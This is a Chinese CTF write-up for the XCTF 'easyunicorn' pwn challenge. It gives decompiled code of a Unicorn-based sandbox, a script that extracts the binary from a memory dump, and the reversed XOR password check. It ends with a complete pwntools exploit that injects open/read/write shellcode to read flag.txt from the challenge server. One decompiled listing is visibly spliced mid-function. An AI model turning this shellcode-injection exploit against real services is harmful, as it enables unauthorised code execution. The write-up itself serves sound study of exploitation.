easyunicorn-xctf高校抗疫分享赛

很有趣的题目。之前没接触过unicorn所以比赛现学,然后死磕这题没磕出来(我太菜了呜呜呜)

赛后学习了下其他队伍的wp,把思路完整的记录一下..

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int i; // [rsp+2Ch] [rbp-74h]
char v9; // [rsp+30h] [rbp-70h]
int v10; // [rsp+70h] [rbp-30h]
__int16 v11; // [rsp+74h] [rbp-2Ch]
int v12; // [rsp+80h] [rbp-20h]
__int16 v13; // [rsp+84h] [rbp-1Ch]
unsigned __int64 v14; // [rsp+88h] [rbp-18h]

v14 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
for ( i = 0; i < argc; ++i )
{
if ( !strcmp(argv[i], "-info") )
show_info = 1;
if ( !strcmp(argv[i], "-debug") )
debug = 1;
if ( !strcmp(argv[i], "-tcode") )
tcode = 1;
}
x86_sandbox::x86_sandbox(&v9, "xctf_pwn.dump", 8u, show_info);
v10 = 0x90909090;
v11 = 0x90;
v12 = 0x90909090;
v13 = 0x90;
v3 = x86_sandbox::operator uc_struct *((__int64)&v9);
uc_mem_write(v3, 0x7FFFF7DEEF48LL, (__int64)&v10, 5LL);
v4 = x86_sandbox::operator uc_struct *((__int64)&v9);
uc_mem_write(v4, 0x7FFFF7DEEF64LL, (__int64)&v12, 5LL);
if ( tcode )
x86_sandbox::add_code_hook((x86_sandbox *)&v9);
x86_sandbox::Disable_file_RDWR((x86_sandbox *)&v9);
x86_sandbox::add_syscall_hook((x86_sandbox *)&v9);
x86_sandbox::add_unmap_hook((x86_sandbox *)&v9);
x86_sandbox::show_regs((x86_sandbox *)&v9);
v5 = std::operator<<<std::char_traits<char>>(
&std::cout,
"/------------------------Sandbox Start-------------------------\\");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
x86_sandbox::engine_start((x86_sandbox *)&v9);
v6 = std::operator<<<std::char_traits<char>>(
&std::cout,
"\\-------------------------Sandbox Exit--------------------------/");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
x86_sandbox::show_regs((x86_sandbox *)&v9);
x86_sandbox::~x86_sandbox((x86_sandbox *)&v9);
return 0;
}

沙盒模拟器,调用了一些自己造的轮子..

看了下ida的反编译代码,发现从dump中读取内存的函数是x86_sandbox::read_mem_dump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
int __fastcall x86_sandbox::read_mem_dump(x86_sandbox *this, const char *a2, char a3)
{
__int64 v3; // rsi
unsigned int v4; // eax
double v6; // xmm0_8
char v7; // [rsp+Ch] [rbp-94h]
unsigned int i; // [rsp+24h] [rbp-7Ch]
unsigned __int64 ptr; // [rsp+28h] [rbp-78h]
__int64 v10; // [rsp+30h] [rbp-70h]
unsigned __int64 v11; // [rsp+38h] [rbp-68h]
FILE *stream; // [rsp+40h] [rbp-60h]
__int64 off; // [rsp+48h] [rbp-58h]
void *v14; // [rsp+50h] [rbp-50h]
void *v15; // [rsp+58h] [rbp-48h]
__int64 v16; // [rsp+60h] [rbp-40h]
_QWORD *v17; // [rsp+68h] [rbp-38h]
__int64 v18; // [rsp+70h] [rbp-30h]
__int64 v19; // [rsp+78h] [rbp-28h]
size_t size; // [rsp+80h] [rbp-20h]
__int64 v21; // [rsp+88h] [rbp-18h]
unsigned __int64 v22; // [rsp+98h] [rbp-8h]

v7 = a3;
v22 = __readfsqword(0x28u);
stream = fopen(a2, "rb");
if ( !stream )
{
printf("%s, %s", a2, "not exit/n");
getchar();
exit(1);
}
v11 = 0LL;
fread(&ptr, 8uLL, 1uLL, stream);
fseek(stream, 24LL, 0);
off = ptr;
fread(&v10, 8uLL, 1uLL, stream);
ptr >>= 5;
v14 = malloc(v10 - off);
fseek(stream, off, 0);
fread(v14, 1uLL, v10 - off, stream);
v3 = 0LL;
fseek(stream, 0LL, 0);
if ( v7 )
puts(
"Initializing Virtual Memory\n"
"/------------------------------+--------------------+--------------------+------------\\\n"
"| SN | VA | FOA | LEN |\n"
"+------------------------------+--------------------+--------------------+------------+");
for ( i = 0; i < ptr; ++i )
{
fread(&v18, 0x20uLL, 1uLL, stream);
v15 = malloc(size);
v16 = ftell(stream);
fseek(stream, v21, 0);
fread(v15, size, 1uLL, stream);
v17 = (char *)v14 + v18 - off;
if ( *v17 == 'retsiger' )
{
if ( v19 != 32 && v19 != 33 )
{
*((_DWORD *)this + 2) = uc_reg_write(*(_QWORD *)this, (unsigned int)v19, v15);
if ( *((_DWORD *)this + 2) )
{
puts("Failed to write emulation data to register, quit!");
return 0;
}
}
else if ( (unsigned __int8)x86_sandbox::is_mode64(this) )
{
if ( v19 == 32 )
v4 = 0xC0000100;
else
v4 = 0xC0000101;
set_msr(*(_QWORD *)this, v4, *(_QWORD *)v15, 0x3000LL);
}
else
{
gdt_init(*(_QWORD *)this, v19, v19 - 30, *(_QWORD *)v15, 0x4000uLL);
}
}
else
{
if ( v7 )
printf("| %-28s | %16llx | %16llx | %10llx |\n", v17, v19, v21, size);
map(*(_QWORD *)this, v19, size, 7LL);
v11 += size;
*((_DWORD *)this + 2) = uc_mem_write(*(_QWORD *)this, v19, v15, size);
if ( *((_DWORD *)this + 2) )
{
puts("Failed to write emulation code to memory, quit!");
return 0;
}
}
v3 = v16;
fseek(stream, v16, 0);
free(v15);
}
if ( v7 )
{
puts("\\-------------------------------------------------------------------------------------/");
if ( (v11 & 0x8000000000000000LL) != 0LL )
v6 = (double)(signed int)(v11 & 1 | (v11 >> 1)) + (double)(signed int)(v11 & 1 | (v11 >> 1));
else
v6 = (double)(signed int)v11;
printf("Need to write %16lf MByte.\n", v3, v6 / 1048576.0);
}
free(v14);
return fclose(stream);
}

从dump中读取内存,然后输出到info信息中,我们可以从这里简单抄一点实现,利用info的信息提取文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
data = '''
| .gcc_except_table | 401e64 | f5c | 24 |
| debug001 | 7ffff783b000 | f88 | 4000 |
| .data | 603090 | 4fb8 | 10 |
| libc_2.23.so | 7ffff7475000 | 5008 | 1c0000 |
| .fini | 4015a4 | 1c5008 | 9 |
| .plt | 4009f0 | 1c5111 | 100 |
| .jcr | 602e00 | 1c5211 | 8 |
| ld_2.23.so1 | 7ffff7ffc000 | 1c5219 | 1000 |
| ld_2.23.so2 | 7ffff7ffd000 | 1c6219 | 1000 |
| LOAD | 400000 | 1c7239 | 9c8 |
| .init | 4009c8 | 1c7c01 | 1a |
| [stack] | 7ffffffde000 | 1c7c1b | 21000 |
| libstdc__.so.6.0.21 | 7ffff7a55000 | 1e8c2b | 172000 |
| LOAD2 | 400af8 | 35ac3b | 8 |
| .fini_array | 602df8 | 35ac43 | 8 |
| .prgend | 6031d8 | 35ac4b | 1 |
| libstdc__.so.6.0.212 | 7ffff7dc7000 | 35ac4c | a000 |
| libstdc__.so.6.0.213 | 7ffff7dd1000 | 364c4c | 2000 |
| .plt.got | 400af0 | 366c4c | 8 |
| libstdc__.so.6.0.211 | 7ffff7bc7000 | 366c54 | d000 |
| ld_2.23.so | 7ffff7dd7000 | 373c54 | 26000 |
| libgcc_s.so.1 | 7ffff783f000 | 399c54 | 16000 |
| libgcc_s.so.11 | 7ffff7a54000 | 3afc54 | 1000 |
| libm_2.23.so1 | 7ffff7274000 | 3b0c54 | 2000 |
| libm_2.23.so3 | 7ffff7474000 | 3b2c54 | 1000 |
| libm_2.23.so2 | 7ffff7473000 | 3b3c54 | 1000 |
| debug004 | 7ffff7ffe000 | 3b4c5c | 1000 |
| xctf_pwn | 401e88 | 3b5c74 | 178 |
| LOAD1 | 4009e2 | 3b5dec | e |
| LOAD3 | 4015a2 | 3b5dfa | 2 |
| LOAD5 | 4019a7 | 3b5e04 | 1 |
| LOAD4 | 4015ad | 3b5e05 | 3 |
| LOAD7 | 602e08 | 3b5e08 | 1f0 |
| LOAD6 | 401a84 | 3b5ff8 | 4 |
| [vdso] | 7ffff7ffa000 | 3b5ffc | 2000 |
| .text | 400b00 | 3b7ffc | aa2 |
| libc_2.23.so3 | 7ffff7839000 | 3b8b5e | 2000 |
| libc_2.23.so2 | 7ffff7835000 | 3bab5e | 4000 |
| libc_2.23.so1 | 7ffff7635000 | 3beb5e | 9000 |
| .rodata | 4015b0 | 3c7b5e | 3f7 |
| .got | 602ff8 | 3c7f55 | 8 |
| .got.plt | 603000 | 3c7f5d | 90 |
| .eh_frame_hdr | 4019a8 | 3c7fed | dc |
| .bss | 6030a0 | 3c80c9 | 138 |
| extern | 6031e0 | 3c8201 | 98 |
| libm_2.23.so | 7ffff716c000 | 3c8299 | 108000 |
| [vsyscall] | ffffffffff600000 | 4d0299 | 1000 |
| [heap] | 604000 | 4d1299 | 32000 |
| .init_array | 602df0 | 503299 | 8 |
| .eh_frame | 401a88 | 5032a1 | 3dc |
| debug003 | 7ffff7fe7000 | 50367d | 6000 |
| xctf_pwn3 | 603278 | 50967d | d88 |
| xctf_pwn1 | 602000 | 50a405 | df0 |
| xctf_pwn2 | 6031d9 | 50b1f5 | 7 |
| debug002 | 7ffff7dd3000 | 50b1fc | 4000 |
'''

data = data.split('\n')[1:-1]

segs = []
for i in data:
t = i.split('|')[1:-1]
t = [i.strip() for i in t]
t = [int(i,16) for i in t[1:]] + t[:1]
segs.append(t)

segs.sort()

for i in segs:
print(hex(i[0]),i[1:])

f = open('./recover_pwn','wb')
with open('./xctf_pwn.dump','rb') as fr:
for i in segs:
if i[0] >= 0x604000:
continue
print("len of {} is {}".format(i[3],i[2]))
fr.seek(i[1])
f.write(fr.read(i[2]))
f.close()

其他一些成员函数的具体内容不放了,内容大概是调用unicorn的一些函数将程序的执行流写入了题目所给的dump文件中,我们看提取后的程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __usercall sub_400E48@<rax>(unsigned int a1@<ebx>)
{
void *v1; // r12
__int64 v2; // rax
signed int v3; // er12
void (__fastcall **v5[37])(char *); // [rsp+10h] [rbp-140h]
unsigned __int64 v6; // [rsp+138h] [rbp-18h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
sub_40149E(v5);
(*(void (__fastcall **)(void (__fastcall ***)(char *), _QWORD))v5[0])(v5, 0LL);
sub_401326((__int64)v5);
puts("You need to get the server passwd from vendor(xxxxxxx@qq.com) with machine-code");
while ( 1 )
{
v1 = (void *)sub_401314((__int64)v5);
v2 = sub_4011A0((__int64)v5);
if ( (unsigned __int8)sub_400DDE(v2, v1) )
break;
if ( (char)sub_401302(v5) > 4 )
{
puts("\x1B[1;31mConnection denied!\x1B[0m");
a1 = 0;
v3 = 0;
goto LABEL_6;
}
}
(*((void (__fastcall **)(void (__fastcall ***)(char *), void *))v5[0] + 1))(v5, v1);
puts("Good");
v3 = 1;
LABEL_6:
sub_4014F0(v5);
if ( v3 == 1 )
a1 = 0;
return a1;
}

password过验证了就可以写shellcode,注意沙箱加了syscall orw限制

看下machine code算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
signed __int64 __fastcall sub_40102A(__int64 a1)
{
char v1; // al
char i; // [rsp+1Eh] [rbp-2h]
char v4; // [rsp+1Eh] [rbp-2h]
char v5; // [rsp+1Fh] [rbp-1h]

v5 = 0;
printf("your password << \x1B[32;1m");
for ( i = getchar(); i != 10; i = getchar() )
{
v4 = i + (i < 0 ? 0x80 : 0);
v1 = v5++;
if ( v1 == 127 )
break;
*(_BYTE *)(a1 + v5 - 1 + 128) = v4;
}
printf("\x1B[0m");
*(_BYTE *)(a1 + v5 + 128) = 0;
printf("Your key is %s\n", a1 + 128);
sub_400C82(a1 + 128, a1 unsigned __int64 __fastcall sub_401326(__int64 a1)
{
__int64 v1; // rdx
signed int i; // [rsp+14h] [rbp-2Ch]
__int64 v4; // [rsp+20h] [rbp-20h]
__int64 v5; // [rsp+28h] [rbp-18h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
v1 = *(_QWORD *)(a1 + 32);
v4 = *(_QWORD *)(a1 + 24);
v5 = v1;
for ( i = 0; i <= 14; ++i )
*((_BYTE *)&v4 + i) ^= *((_BYTE *)&v4 + i + 1);
printf(
"Your machine-code is \x1B[1;31;5m %08X-%08X-%08X-%08X \x1B[0m\n",
(unsigned int)v4,
HIDWORD(v4),
(unsigned int)v5,
HIDWORD(v5));
return __readfsqword(0x28u) ^ v6;+ 128, 64LL);
*(_BYTE *)(a1 + 8) += v5;
return a1 + 128;
}

很简单的异或,根据machine code求逆,剩下就是一本道了(迫真

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

debug = 1

context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h' ]
context.log_level='debug'

if debug:
p=process(['./x86_sandbox'],env={'LD_PRELOAD':'./libunicorn.so.1'})
gdb.attach(p)
else:
p=remote('121.37.167.199', 9998)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

ru('[ Disable system call safe mode ]')
ru('Your machine-code is ')
ru('x1B[1;31;5m ')
data = ru(' ').strip()
ru('<<')
data = [int(i,16) for i in data.split('-')]
w = b''
for i in data:
w += p32(i)
data = w
data = [ord(i) for i in data]
for i in range(14, -1, -1):
data[i] ^= data[i+1]
for i in range(0x20):
se('\n')
ru('try')
for i in data:
se('%02X'%i)

se('\n')
shellcode = asm('mov r10, rsi')
shellcode += asm(shellcraft.open('flag.txt'))
shellcode += asm(shellcraft.read(3,'r10',0x80))
shellcode += asm(shellcraft.write(1,'r10',0x80))
shellcode += asm(shellcraft.amd64.linux.exit(0))

ru('data ptr:')
ptr = int(ru('&#92;n'),16)
ru('data<<')
sl(shellcode)
ru('<<')
sl(str(ptr))
for i in range(3):
ru('<<')
sl(str(ptr+0x400))

p.interactive()

参考资料:

https://blog.de1ta.club/2020/03/10/XCTF%3CZHANYI%3E-2020/

2019-2021 Nishikinor undefined